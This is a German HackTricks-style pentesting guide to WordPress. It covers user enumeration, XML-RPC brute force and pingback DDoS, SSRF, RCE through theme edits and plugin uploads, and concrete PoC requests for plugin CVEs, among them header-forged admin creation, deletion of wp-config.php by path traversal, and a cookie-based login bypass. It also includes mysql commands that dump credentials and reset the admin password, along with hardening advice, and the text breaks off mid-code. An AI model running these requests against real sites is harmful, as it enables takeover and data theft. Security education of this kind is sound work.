38 KiB
Wordpress
{{#include ../../banners/hacktricks-training.md}}
Grundlegende Informationen
-
Uploaded Dateien werden abgelegt unter:
http://10.10.10.10/wp-content/uploads/2018/08/a.txt
-
Theme-Dateien befinden sich in /wp-content/themes/, daher wirst du vermutlich diesen Pfad nutzen, wenn du etwas PHP des Themes änderst, um RCE zu erreichen. Zum Beispiel: Wenn du theme twentytwelve verwendest, kannst du die 404.php-Datei öffnen unter: /wp-content/themes/twentytwelve/404.php
-
Eine weitere nützliche URL könnte sein: /wp-content/themes/default/404.php
-
In wp-config.php findest du das Root-Passwort der Datenbank.
-
Standard-Login-Pfade, die überprüft werden sollten: /wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/
Wichtige WordPress-Dateien
index.php
license.txt
enthält nützliche Informationen wie die installierte WordPress-Version.wp-activate.php
wird für den E-Mail-Aktivierungsprozess beim Einrichten einer neuen WordPress-Seite verwendet.- Login-Dateien/-Pfade (können umbenannt worden sein, um sie zu verbergen):
/wp-admin/login.php
/wp-admin/wp-login.php
/login.php
/wp-login.php
xmlrpc.php
ist eine Datei, die eine Funktionalität von WordPress darstellt, die das Übertragen von Daten ermöglicht, wobei HTTP als Transportmechanismus und XML als Kodierungsmechanismus dient. Diese Art der Kommunikation wurde durch die WordPress REST API ersetzt.- Der
wp-content
-Ordner ist das Hauptverzeichnis, in dem Plugins und Themes gespeichert sind. wp-content/uploads/
ist das Verzeichnis, in dem alle auf die Plattform hochgeladenen Dateien gespeichert werden.wp-includes/
ist das Verzeichnis, in dem Core-Dateien gespeichert sind, wie Zertifikate, Fonts, JavaScript-Dateien und Widgets.wp-sitemap.xml
In WordPress-Versionen 5.5 und höher generiert WordPress eine sitemap XML-Datei mit allen öffentlichen Beiträgen sowie öffentlich abfragbaren Post-Typen und Taxonomien.
Post exploitation
- Die Datei
wp-config.php
enthält Informationen, die WordPress benötigt, um eine Verbindung zur Datenbank herzustellen, wie den Datenbanknamen, Datenbank-Host, Benutzername und Passwort, Authentication Keys und Salts sowie das Tabellenpräfix der Datenbank. Diese Konfigurationsdatei kann auch verwendet werden, um den DEBUG-Modus zu aktivieren, was bei der Fehlersuche nützlich sein kann.
Benutzerberechtigungen
- Administrator
- Editor: Veröffentlicht und verwaltet eigene und fremde Beiträge
- Author: Veröffentlicht und verwaltet eigene Beiträge
- Contributor: Schreibt und verwaltet seine Beiträge, kann sie aber nicht veröffentlichen
- Subscriber: Kann Beiträge lesen und sein Profil bearbeiten
Passive Enumeration
Get WordPress version
Prüfe, ob du die Dateien /license.txt
oder /readme.html
finden kannst
Innerhalb des Quellcodes der Seite (Beispiel von [https://wordpress.org/support/article/pages/]):
- grep
curl https://victim.com/ | grep 'content="WordPress'
meta name
- CSS-Link-Dateien
- JavaScript-Dateien
Plugins abrufen
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
Themes abrufen
curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
Versionen im Allgemeinen extrahieren
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
Aktive Enumeration
Plugins und Themes
Du wirst wahrscheinlich nicht in der Lage sein, alle Plugins und Themes zu finden. Um alle zu entdecken, musst du aktiv eine Liste von Plugins und Themes per Brute Force durchprobieren (zum Glück gibt es automatisierte Tools, die solche Listen enthalten).
Benutzer
- ID Brute: Du erhältst gültige Benutzer von einer WordPress-Seite durch Brute Forcing der Benutzer-IDs:
curl -s -I -X GET http://blog.example.com/?author=1
Wenn die Antworten 200 oder 30X sind, bedeutet das, dass die id gültig ist. Wenn die Antwort 400 ist, dann ist die id ungültig.
- wp-json: Du kannst auch versuchen, Informationen über die Benutzer zu erhalten, indem du abfragst:
curl http://blog.example.com/wp-json/wp/v2/users
Ein weiterer /wp-json/
endpoint, der einige Informationen über Benutzer anzeigen kann, ist:
curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
Beachte, dass dieser Endpunkt nur Benutzer offenlegt, die einen Beitrag erstellt haben. Es werden nur Informationen über die Benutzer bereitgestellt, die diese Funktion aktiviert haben.
Beachte auch, dass /wp-json/wp/v2/pages IP-Adressen leak könnte.
- Login username enumeration: Beim Einloggen in
/wp-login.php
ist die Meldung unterschiedlich, je nachdem, ob der angegebene Benutzername existiert oder nicht.
XML-RPC
Wenn xml-rpc.php
aktiv ist, kannst du eine credentials brute-force durchführen oder es nutzen, um DoS-Angriffe auf andere Ressourcen zu starten. (You can automate this process using this for example).
Um zu prüfen, ob es aktiv ist, versuche, auf /xmlrpc.php zuzugreifen und sende diese Anfrage:
Prüfen
<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>
Credentials Bruteforce
wp.getUserBlogs
, wp.getCategories
oder metaWeblog.getUsersBlogs
sind einige der Methoden, die verwendet werden können, um credentials per brute-force zu ermitteln. Wenn du eine davon findest, kannst du etwas wie Folgendes senden:
<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>admin</value></param>
<param><value>pass</value></param>
</params>
</methodCall>
Die Nachricht "Incorrect username or password" innerhalb einer Antwort mit Statuscode 200 sollte erscheinen, wenn die Anmeldedaten nicht gültig sind.
Mit den korrekten Anmeldedaten kannst du eine Datei hochladen. In der Antwort erscheint der Pfad (https://gist.github.com/georgestephanis/5681982)
<?xml version='1.0' encoding='utf-8'?>
<methodCall>
<methodName>wp.uploadFile</methodName>
<params>
<param><value><string>1</string></value></param>
<param><value><string>username</string></value></param>
<param><value><string>password</string></value></param>
<param>
<value>
<struct>
<member>
<name>name</name>
<value><string>filename.jpg</string></value>
</member>
<member>
<name>type</name>
<value><string>mime/type</string></value>
</member>
<member>
<name>bits</name>
<value><base64><![CDATA[---base64-encoded-data---]]></base64></value>
</member>
</struct>
</value>
</param>
</params>
</methodCall>
Es gibt auch einen schnelleren Weg, Anmeldeinformationen mit system.multicall
zu brute-forcen, da du mehrere Credentials in derselben Anfrage testen kannst:

2FA umgehen
Diese Methode ist für Programme und nicht für Menschen gedacht und ist alt, daher unterstützt sie kein 2FA. Wenn du also gültige creds hast, aber der Haupteingang durch 2FA geschützt ist, kannst du xmlrpc.php missbrauchen, um dich mit diesen creds einzuloggen und 2FA zu umgehen. Beachte, dass du nicht alle Aktionen durchführen kannst, die über die Konsole möglich sind, aber du könntest trotzdem RCE erreichen, wie Ippsec in https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s erklärt.
DDoS or port scanning
If you can find the method pingback.ping inside the list you can make the Wordpress send an arbitrary request to any host/port.
This can be used to ask thousands of Wordpress sites to access one location (so a DDoS is caused in that location) or you can use it to make Wordpress scan some internal network (you can indicate any port).
<methodCall>
<methodName>pingback.ping</methodName>
<params><param>
<value><string>http://<YOUR SERVER >:<port></string></value>
</param><param><value><string>http://<SOME VALID BLOG FROM THE SITE ></string>
</value></param></params>
</methodCall>
Wenn Sie faultCode mit einem Wert größer als 0 (17) erhalten, bedeutet das, dass der Port offen ist.
Schauen Sie sich die Verwendung von system.multicall
im vorherigen Abschnitt an, um zu lernen, wie man diese Methode missbraucht, um DDoS zu verursachen.
DDoS
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>http://target/</string></value></param>
<param><value><string>http://yoursite.com/and_some_valid_blog_post_url</string></value></param>
</params>
</methodCall>
wp-cron.php DoS
This file usually exists under the root of the Wordpress site: /wp-cron.php
Wenn diese Datei aufgerufen wird, wird eine "schwere" MySQL Abfrage ausgeführt, sodass sie von Angreifern dazu benutzt werden kann, einen DoS zu verursachen.
Außerdem wird standardmäßig wp-cron.php
bei jedem Seitenaufruf (immer wenn ein Client eine beliebige Wordpress-Seite anfordert) aufgerufen, was bei stark frequentierten Sites Probleme (DoS) verursachen kann.
Es wird empfohlen, Wp-Cron zu deaktivieren und einen echten cronjob auf dem Host anzulegen, der die benötigten Aktionen in regelmäßigen Abständen ausführt (ohne Probleme zu verursachen).
/wp-json/oembed/1.0/proxy - SSRF
Try to access https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net und die Wordpress-Seite könnte eine Anfrage an dich senden.
This is the response when it doesn't work:
SSRF
{{#ref}} https://github.com/t0gu/quickpress/blob/master/core/requests.go {{#endref}}
Dieses Tool prüft, ob der methodName: pingback.ping und der Pfad /wp-json/oembed/1.0/proxy vorhanden sind, und versucht, diese auszunutzen.
Automatische Tools
cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
#You can try to bruteforce the admin user using wpscan with "-U admin"
Zugriff durch Überschreiben eines Bits
Mehr eine Kuriosität als ein echter Angriff. Im CTF https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man konntest du 1 Bit in einer beliebigen wordpress-Datei umdrehen. Du konntest also an Position 5389
der Datei /var/www/html/wp-includes/user.php
ein Bit umdrehen, damit die NOT-Operation (!
) zu einem NOP wird.
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error(
Panel RCE
Ändern einer php-Datei des verwendeten Themes (Administrator-Zugangsdaten erforderlich)
Appearance → Theme Editor → 404 Template (rechts)
Ändere den Inhalt zu einer php shell:
Suche im Internet, wie du auf diese aktualisierte Seite zugreifen kannst. In diesem Fall musst du hier zugreifen: http://10.11.1.234/wp-content/themes/twentytwelve/404.php
MSF
Du kannst verwenden:
use exploit/unix/webapp/wp_admin_shell_upload
um eine Session zu bekommen.
Plugin RCE
PHP plugin
Es kann möglich sein, .php-Dateien als Plugin hochzuladen.
Erstelle deine PHP backdoor zum Beispiel mit:
Füge dann ein neues Plugin hinzu:
Plugin hochladen und auf Install Now drücken:
Klicke auf Procced:
Wahrscheinlich scheint das zunächst nichts zu bewirken, aber wenn du zu Media gehst, wirst du deine hochgeladene shell sehen:
Rufe sie auf und du siehst die URL zum Ausführen der reverse shell:
Uploading and activating malicious plugin
Bei dieser Methode wird ein bekannt verwundbares bösartiges Plugin installiert, das ausgenutzt werden kann, um eine web shell zu erhalten. Dieser Vorgang wird über das WordPress-Dashboard wie folgt durchgeführt:
- Plugin Acquisition: Das Plugin wird von einer Quelle wie Exploit DB bezogen, z. B. hier.
- Plugin Installation:
- Navigiere zum WordPress Dashboard, dann zu
Dashboard > Plugins > Upload Plugin
. - Lade die zip-Datei des heruntergeladenen Plugins hoch.
- Plugin Activation: Sobald das Plugin erfolgreich installiert ist, muss es über das Dashboard aktiviert werden.
- Exploitation:
- Mit installiertem und aktiviertem Plugin "reflex-gallery" kann es ausgenutzt werden, da es als verwundbar bekannt ist.
- Das Metasploit framework stellt einen Exploit für diese Schwachstelle bereit. Durch Laden des passenden Moduls und Ausführen bestimmter Befehle kann eine meterpreter session hergestellt werden, die unautorisierten Zugriff auf die Seite gewährt.
- Es sei angemerkt, dass dies nur eine von vielen Methoden ist, eine WordPress-Seite auszunutzen.
Der Inhalt enthält visuelle Hilfen, die die Schritte im WordPress-Dashboard zum Installieren und Aktivieren des Plugins darstellen. Es ist jedoch wichtig zu betonen, dass das Ausnutzen von Schwachstellen auf diese Weise ohne entsprechende Autorisierung illegal und unethisch ist. Diese Informationen sollten verantwortungsbewusst und nur in einem legalen Kontext verwendet werden, z. B. bei penetration testing mit ausdrücklicher Genehmigung.
Für detailliertere Schritte siehe: https://www.hackingarticles.in/wordpress-reverse-shell/
Von XSS zu RCE
- WPXStrike: WPXStrike ist ein Script, das dazu entwickelt wurde, eine Cross-Site Scripting (XSS)-Schwachstelle in Remote Code Execution (RCE) oder andere kritische Schwachstellen in WordPress zu eskalieren. Für weitere Informationen siehe diesen Beitrag. Es bietet Support für Wordpress Versions 6.X.X, 5.X.X und 4.X.X und ermöglicht:
- Privilege Escalation: Erstellt einen user in WordPress.
- (RCE) Custom Plugin (backdoor) Upload: Lade dein custom plugin (backdoor) zu WordPress hoch.
- (RCE) Built-In Plugin Edit: Bearbeite eingebaute Plugins in WordPress.
- (RCE) Built-In Theme Edit: Bearbeite eingebaute Themes in WordPress.
- (Custom) Custom Exploits: Custom Exploits für Third-Party WordPress Plugins/Themes.
Post Exploitation
Benutzernamen und Passwörter extrahieren:
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"
Admin-Passwort ändern:
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"
Wordpress Plugins Pentest
Angriffsfläche
Zu wissen, wie ein Wordpress-Plugin Funktionalität freigeben kann, ist entscheidend, um Schwachstellen zu finden. Im Folgenden ist beschrieben, wie ein Plugin Funktionalität freigeben kann, und einige Beispiele verwundbarer Plugins finden Sie in diesem Blogbeitrag.
wp_ajax
Eine Möglichkeit, wie ein Plugin Funktionen für Benutzer bereitstellen kann, ist über AJAX-Handler. Diese können logische Fehler sowie Autorisierungs- oder Authentifizierungsfehler enthalten. Außerdem ist es recht häufig, dass diese Funktionen sowohl die Authentifizierung als auch die Autorisierung auf das Vorhandensein eines Wordpress nonce stützen, das jeder in der Wordpress-Instanz authentifizierte Benutzer haben könnte (unabhängig von seiner Rolle).
Das sind die Funktionen, die verwendet werden können, um eine Funktion in einem Plugin freizugeben:
add_action( 'wp_ajax_action_name', array(&$this, 'function_name'));
add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));
Die Verwendung von nopriv
macht den Endpoint für alle Benutzer zugänglich (auch für nicht authentifizierte).
Caution
Außerdem, wenn die Funktion die Autorisierung des Nutzers nur mit der Funktion
wp_verify_nonce
überprüft, prüft diese Funktion lediglich, ob der Nutzer eingeloggt ist; sie überprüft normalerweise nicht die Rolle des Nutzers. Daher könnten Benutzer mit niedrigen Rechten Zugriff auf Aktionen mit hohen Rechten haben.
- REST API
Es ist auch möglich, Funktionen von wordpress freizulegen, indem man eine REST API mit der Funktion register_rest_route
registriert:
register_rest_route(
$this->namespace, '/get/', array(
'methods' => WP_REST_Server::READABLE,
'callback' => array($this, 'getData'),
'permission_callback' => '__return_true'
)
);
permission_callback
ist ein Callback zu einer Funktion, die prüft, ob ein bestimmter Benutzer berechtigt ist, die API-Methode aufzurufen.
Wenn die eingebaute Funktion __return_true
verwendet wird, wird die Benutzerberechtigungsprüfung einfach übersprungen.
- Direkter Zugriff auf die php-Datei
Natürlich verwendet Wordpress PHP und Dateien innerhalb von Plugins sind direkt über das Web zugänglich. Wenn ein Plugin also eine verwundbare Funktionalität bereitstellt, die allein durch den Zugriff auf die Datei ausgelöst wird, ist sie für jeden Benutzer ausnutzbar.
Trusted-header REST impersonation (WooCommerce Payments ≤ 5.6.1)
Einige Plugins implementieren „trusted header“-Shortcuts für interne Integrationen oder Reverse Proxies und verwenden diesen Header dann, um den aktuellen Benutzerkontext für REST-Anfragen zu setzen. Wenn der Header nicht von einer vorgelagerten Komponente kryptografisch an die Anfrage gebunden ist, kann ein Angreifer ihn fälschen und privilegierte REST-Routen als Administrator ansprechen.
- Auswirkung: nicht authentifizierte Privilegieneskalation zu admin durch Erstellen eines neuen administrator über die core users REST route.
- Beispiel-Header:
X-Wcpay-Platform-Checkout-User: 1
(erzwingt Benutzer-ID 1, typischerweise das erste administrator-Konto). - Ausgenutzte Route:
POST /wp-json/wp/v2/users
mit einem elevated role array.
PoC
POST /wp-json/wp/v2/users HTTP/1.1
Host: <WP HOST>
User-Agent: Mozilla/5.0
Accept: application/json
Content-Type: application/json
X-Wcpay-Platform-Checkout-User: 1
Content-Length: 114
{"username": "honeypot", "email": "wafdemo@patch.stack", "password": "demo", "roles": ["administrator"]}
Warum es funktioniert
- Das Plugin mappt einen vom Client kontrollierten Header auf den Authentifizierungszustand und überspringt Capability-Prüfungen.
- WordPress core erwartet die
create_users
capability für diese Route; der Plugin-Hack umgeht dies, indem er den aktuellen Benutzerkontext direkt aus dem Header setzt.
Erwartete Erfolgsindikatoren
- HTTP 201 mit einem JSON-Body, der den erstellten Benutzer beschreibt.
- Ein neuer Admin-Benutzer sichtbar in
wp-admin/users.php
.
Erkennungs-Checkliste
- Grep nach
getallheaders()
,$_SERVER['HTTP_...']
oder Vendor-SDKs, die benutzerdefinierte Header lesen, um den Benutzerkontext zu setzen (z. B.wp_set_current_user()
,wp_set_auth_cookie()
). - Überprüfe REST-Registrierungen auf privilegierte Callbacks, die keine robusten
permission_callback
-Prüfungen haben und stattdessen auf Request-Header vertrauen. - Suche nach Verwendungen von Core-User-Management-Funktionen (
wp_insert_user
,wp_create_user
) innerhalb von REST-Handlern, die nur durch Header-Werte abgesichert sind.
Härtung
- Leite Authentifizierung oder Autorisierung niemals von client-kontrollierten Headern ab.
- Wenn ein reverse proxy Identität injizieren muss, beende das Vertrauen am Proxy und entferne eingehende Kopien (z. B.
unset X-Wcpay-Platform-Checkout-User
an der Peripherie), übergebe dann ein signed token und überprüfe es serverseitig. - Für REST-Routen, die privilegierte Aktionen ausführen, fordere
current_user_can()
-Prüfungen und eine striktepermission_callback
(verwende NICHT__return_true
). - Bevorzuge first-party auth (cookies, application passwords, OAuth) gegenüber Header-“impersonation”.
Referenzen: siehe die Links am Ende dieser Seite für einen öffentlichen Fall und eine ausführlichere Analyse.
Unauthenticated Arbitrary File Deletion via wp_ajax_nopriv (Litho Theme <= 3.0)
WordPress-Themes und -Plugins exponieren häufig AJAX-Handler über die Hooks wp_ajax_
und wp_ajax_nopriv_
. Wenn die nopriv-Variante verwendet wird wird der Callback für nicht authentifizierte Besucher erreichbar, daher muss jede sensitive Aktion zusätzlich implementieren:
- A capability check (z. B.
current_user_can()
oder mindestensis_user_logged_in()
), und - Ein CSRF nonce validiert mit
check_ajax_referer()
/wp_verify_nonce()
, und - Strenge Input-Sanitisation / Validierung.
Das Litho multipurpose theme (< 3.1) hat diese 3 Kontrollen im Feature Remove Font Family vergessen und lieferte schließlich folgenden Code (vereinfacht):
function litho_remove_font_family_action_data() {
if ( empty( $_POST['fontfamily'] ) ) {
return;
}
$fontfamily = str_replace( ' ', '-', $_POST['fontfamily'] );
$upload_dir = wp_upload_dir();
$srcdir = untrailingslashit( wp_normalize_path( $upload_dir['basedir'] ) ) . '/litho-fonts/' . $fontfamily;
$filesystem = Litho_filesystem::init_filesystem();
if ( file_exists( $srcdir ) ) {
$filesystem->delete( $srcdir, FS_CHMOD_DIR );
}
die();
}
add_action( 'wp_ajax_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
- Nicht authentifizierter Zugriff – der
wp_ajax_nopriv_
hook ist registriert. - Keine nonce / capability-Prüfung – jeder Besucher kann den Endpoint aufrufen.
- Keine Pfad-Sanitisation – die vom Benutzer kontrollierte
fontfamily
-Zeichenkette wird ohne Filterung an einen Dateisystempfad angehängt, was klassischen../../
-Traversal ermöglicht.
Ausnutzung
Ein Angreifer kann jede Datei oder jedes Verzeichnis unterhalb des Uploads-Basisverzeichnisses (normalerweise <wp-root>/wp-content/uploads/
) durch das Senden einer einzigen HTTP POST-Anfrage löschen:
curl -X POST https://victim.com/wp-admin/admin-ajax.php \
-d 'action=litho_remove_font_family_action_data' \
-d 'fontfamily=../../../../wp-config.php'
Da wp-config.php
außerhalb von uploads liegt, reichen vier ../
-Sequenzen bei einer Standardinstallation aus. Das Löschen von wp-config.php
zwingt WordPress beim nächsten Besuch in den Installationsassistenten und ermöglicht eine vollständige Seitenübernahme (der Angreifer liefert lediglich eine neue DB-Konfiguration und legt einen Admin-Benutzer an).
Weitere wirkungsvolle Ziele sind Plugin-/Theme-.php
-Dateien (um Sicherheits-Plugins zu umgehen) oder .htaccess
-Regeln.
Checkliste zur Erkennung
- Jede
add_action( 'wp_ajax_nopriv_...')
-Callback, die Dateisystem-Helfer aufruft (copy()
,unlink()
,$wp_filesystem->delete()
, etc.). - Verkettung nicht bereinigter Benutzereingaben in Pfade (suche nach
$_POST
,$_GET
,$_REQUEST
). - Fehlen von
check_ajax_referer()
undcurrent_user_can()
/is_user_logged_in()
.
Härtung
function secure_remove_font_family() {
if ( ! is_user_logged_in() ) {
wp_send_json_error( 'forbidden', 403 );
}
check_ajax_referer( 'litho_fonts_nonce' );
$fontfamily = sanitize_file_name( wp_unslash( $_POST['fontfamily'] ?? '' ) );
$srcdir = trailingslashit( wp_upload_dir()['basedir'] ) . 'litho-fonts/' . $fontfamily;
if ( ! str_starts_with( realpath( $srcdir ), realpath( wp_upload_dir()['basedir'] ) ) ) {
wp_send_json_error( 'invalid path', 400 );
}
// … proceed …
}
add_action( 'wp_ajax_litho_remove_font_family_action_data', 'secure_remove_font_family' );
// 🔒 NO wp_ajax_nopriv_ registration
Tip
Behandle immer jede Schreib-/Löschoperation auf dem Datenträger als privilegiert und prüfe doppelt: • Authentifizierung • Autorisierung • Nonce • Eingabevalidierung • Pfadbegrenzung (z. B. via
realpath()
plusstr_starts_with()
).
Privilegieneskalation durch veraltete Rollenwiederherstellung und fehlende Autorisierung (ASE "View Admin as Role")
Viele Plugins implementieren eine "view as role" oder temporäre Rollenwechsel-Funktion, indem sie die ursprüngliche(n) Rolle(n) im User-Meta speichern, um sie später wiederherstellen zu können. Wenn der Wiederherstellungspfad ausschließlich auf Request-Parametern (z. B. $_REQUEST['reset-for']
) und einer vom Plugin geführten Liste beruht, ohne die capabilities zu prüfen und ohne eine gültige Nonce, führt das zu einer vertikalen Privilegieneskalation.
Ein echtes Beispiel wurde im Admin and Site Enhancements (ASE) Plugin (≤ 7.6.2.1) gefunden. Der Reset-Zweig stellte Rollen basierend auf reset-for=<username>
wieder her, wenn der Benutzername in einem internen Array $options['viewing_admin_as_role_are']
auftauchte, führte jedoch weder eine current_user_can()
-Prüfung noch eine Nonce-Verifizierung durch, bevor die aktuellen Rollen entfernt und die gespeicherten Rollen aus dem User-Meta _asenha_view_admin_as_original_roles
wieder hinzugefügt wurden:
// Simplified vulnerable pattern
if ( isset( $_REQUEST['reset-for'] ) ) {
$reset_for_username = sanitize_text_field( $_REQUEST['reset-for'] );
$usernames = get_option( ASENHA_SLUG_U, [] )['viewing_admin_as_role_are'] ?? [];
if ( in_array( $reset_for_username, $usernames, true ) ) {
$u = get_user_by( 'login', $reset_for_username );
foreach ( $u->roles as $role ) { $u->remove_role( $role ); }
$orig = (array) get_user_meta( $u->ID, '_asenha_view_admin_as_original_roles', true );
foreach ( $orig as $r ) { $u->add_role( $r ); }
}
}
Warum es ausnutzbar ist
- Vertraut
$_REQUEST['reset-for']
und einer Plugin-Option ohne serverseitige Autorisierung. - Wenn ein Benutzer zuvor höhere Privilegien in
_asenha_view_admin_as_original_roles
gespeichert hatte und herabgestuft wurde, kann er diese wiederherstellen, indem er den Reset-Pfad aufruft. - In einigen Deployments konnte jeder authentifizierte Benutzer einen Reset für einen anderen Benutzernamen auslösen, der noch in
viewing_admin_as_role_are
vorhanden ist (fehlerhafte Autorisierung).
Voraussetzungen für den Angriff
- Anfällige Plugin-Version mit aktivierter Funktion.
- Das Zielkonto besitzt eine veraltete hochprivilegierte Rolle, die im user meta aus früherer Nutzung gespeichert ist.
- Jede authentifizierte Sitzung; fehlender nonce/capability im Reset-Flow.
Ausnutzung (Beispiel)
# While logged in as the downgraded user (or any auth user able to trigger the code path),
# hit any route that executes the role-switcher logic and include the reset parameter.
# The plugin uses $_REQUEST, so GET or POST works. The exact route depends on the plugin hooks.
curl -s -k -b 'wordpress_logged_in=...' \
'https://victim.example/wp-admin/?reset-for=<your_username>'
Auf verwundbaren Builds entfernt dies die aktuellen Rollen und stellt die gespeicherten Originalrollen (z. B. administrator
) wieder her, wodurch effektiv eine Privilegieneskalation möglich wird.
Checkliste zur Erkennung
- Achten Sie auf Funktionen zum Rollenwechsel, die Originalrollen im user meta persistieren (z. B.
_asenha_view_admin_as_original_roles
). - Identifizieren Sie Reset-/Wiederherstellungs-Pfade, die:
- Lesen Sie Benutzernamen aus
$_REQUEST
/$_GET
/$_POST
. - Ändern Rollen über
add_role()
/remove_role()
ohne Verwendung voncurrent_user_can()
undwp_verify_nonce()
/check_admin_referer()
. - Autorisieren basierend auf einem Plugin-Optionsarray (z. B.
viewing_admin_as_role_are
) anstelle der Fähigkeiten des Akteurs.
Härtung
- Setzen Sie Berechtigungsprüfungen in jedem zustandsändernden Zweig durch (z. B.
current_user_can('manage_options')
oder strenger). - Erfordern Sie Nonces für alle Rollen-/Berechtigungsänderungen und prüfen Sie diese:
check_admin_referer()
/wp_verify_nonce()
. - Vertrauen Sie nie auf aus der Anfrage gelieferte Benutzernamen; bestimmen Sie den Zielbenutzer serverseitig basierend auf dem authentifizierten Akteur und einer expliziten Richtlinie.
- Invalidieren Sie den Zustand der “Originalrollen” bei Profil-/Rollenaktualisierungen, um die Wiederherstellung veralteter Hochprivilegien zu vermeiden:
add_action( 'profile_update', function( $user_id ) {
delete_user_meta( $user_id, '_asenha_view_admin_as_original_roles' );
}, 10, 1 );
- Ziehen Sie in Betracht, nur minimalen Zustand zu speichern und zeitlich begrenzte, capability-geschützte Tokens für temporäre Rollenwechsel zu verwenden.
Nicht authentifizierte Privilegieneskalation durch cookie-vertrauenswürdigen Benutzerwechsel im öffentlichen init (Service Finder “sf-booking”)
Einige Plugins binden user-switching-Helpers an den öffentlichen init
-Hook und leiten die Identität aus einem clientgesteuerten Cookie ab. Wenn der Code wp_set_auth_cookie()
aufruft, ohne Authentifizierung, capability und ein gültiges nonce zu prüfen, kann jeder nicht authentifizierte Besucher einen Login als beliebige Benutzer-ID erzwingen.
Typisches verwundbares Muster (vereinfacht aus Service Finder Bookings ≤ 6.1):
function service_finder_submit_user_form(){
if ( isset($_GET['switch_user']) && is_numeric($_GET['switch_user']) ) {
$user_id = intval( sanitize_text_field($_GET['switch_user']) );
service_finder_switch_user($user_id);
}
if ( isset($_GET['switch_back']) ) {
service_finder_switch_back();
}
}
add_action('init', 'service_finder_submit_user_form');
function service_finder_switch_back() {
if ( isset($_COOKIE['original_user_id']) ) {
$uid = intval($_COOKIE['original_user_id']);
if ( get_userdata($uid) ) {
wp_set_current_user($uid);
wp_set_auth_cookie($uid); // 🔥 sets auth for attacker-chosen UID
do_action('wp_login', get_userdata($uid)->user_login, get_userdata($uid));
setcookie('original_user_id', '', time() - 3600, '/');
wp_redirect( admin_url('admin.php?page=candidates') );
exit;
}
wp_die('Original user not found.');
}
wp_die('No original user found to switch back to.');
}
Warum es ausnutzbar ist
- Öffentlicher
init
Hook macht den Handler für unauthenticated users erreichbar (keinis_user_logged_in()
Guard). - Die Identität wird aus einem vom Client veränderbaren Cookie (
original_user_id
) abgeleitet. - Direkter Aufruf von
wp_set_auth_cookie($uid)
loggt den Anfragenden als diesen Benutzer ein, ohne capability/nonce checks.
Ausnutzung (unauthenticated)
GET /?switch_back=1 HTTP/1.1
Host: victim.example
Cookie: original_user_id=1
User-Agent: PoC
Connection: close
WAF considerations for WordPress/plugin CVEs
Generische edge/server WAFs sind auf breite Muster abgestimmt (SQLi, XSS, LFI). Viele hochwirksame WordPress/plugin Schwachstellen sind anwendungsspezifische Logik-/Auth‑Bugs, die wie harmloser Traffic aussehen, sofern die Engine nicht WordPress‑Routen und Plugin‑Semantik versteht.
Offensive Hinweise
- Ziele plugin‑spezifische Endpunkte mit sauberen Payloads:
admin-ajax.php?action=...
,wp-json/<namespace>/<route>
, custom file handlers, shortcodes. - Teste zuerst nicht‑authentifizierte Pfade (AJAX
nopriv
, REST mit permissivempermission_callback
, public shortcodes). Default‑Payloads funktionieren oft ohne Obfuskation. - Typische High‑Impact‑Fälle: Privilegieneskalation (fehlerhafte Zugriffskontrolle), arbitrary file upload/download, LFI, open redirect.
Defensive Hinweise
- Verlass dich nicht auf generische WAF‑Signaturen, um plugin CVEs zu schützen. Implementiere application‑layer, verwundbarkeitsspezifische virtuelle Patches oder update schnell.
- Bevorzuge Positive‑Security‑Prüfungen im Code (capabilities, nonces, strikte Eingabevalidierung) statt negativer Regex‑Filter.
WordPress Protection
Regular Updates
Stelle sicher, dass WordPress, plugins und themes aktuell sind. Bestätige außerdem, dass automatisches Aktualisieren in wp-config.php aktiviert ist:
define( 'WP_AUTO_UPDATE_CORE', true );
add_filter( 'auto_update_plugin', '__return_true' );
add_filter( 'auto_update_theme', '__return_true' );
Installiere außerdem nur vertrauenswürdige WordPress-Plugins und -Themes.
Sicherheits-Plugins
Weitere Empfehlungen
- Entferne den Standard-admin-Benutzer
- Verwende starke Passwörter und 2FA
- Überprüfe regelmäßig die Berechtigungen der Benutzer
- Begrenze Login-Versuche, um Brute-Force-Angriffe zu verhindern
- Benenne die Datei
wp-admin.php
um und erlaube den Zugriff nur intern oder von bestimmten IP-Adressen.
Unauthentifizierte SQL Injection durch unzureichende Validierung (WP Job Portal <= 2.3.2)
Das WP Job Portal recruitment plugin stellte eine savecategory-Aufgabe bereit, die letztendlich den folgenden verwundbaren Code in modules/category/model.php::validateFormData()
ausführt:
$category = WPJOBPORTALrequest::getVar('parentid');
$inquery = ' ';
if ($category) {
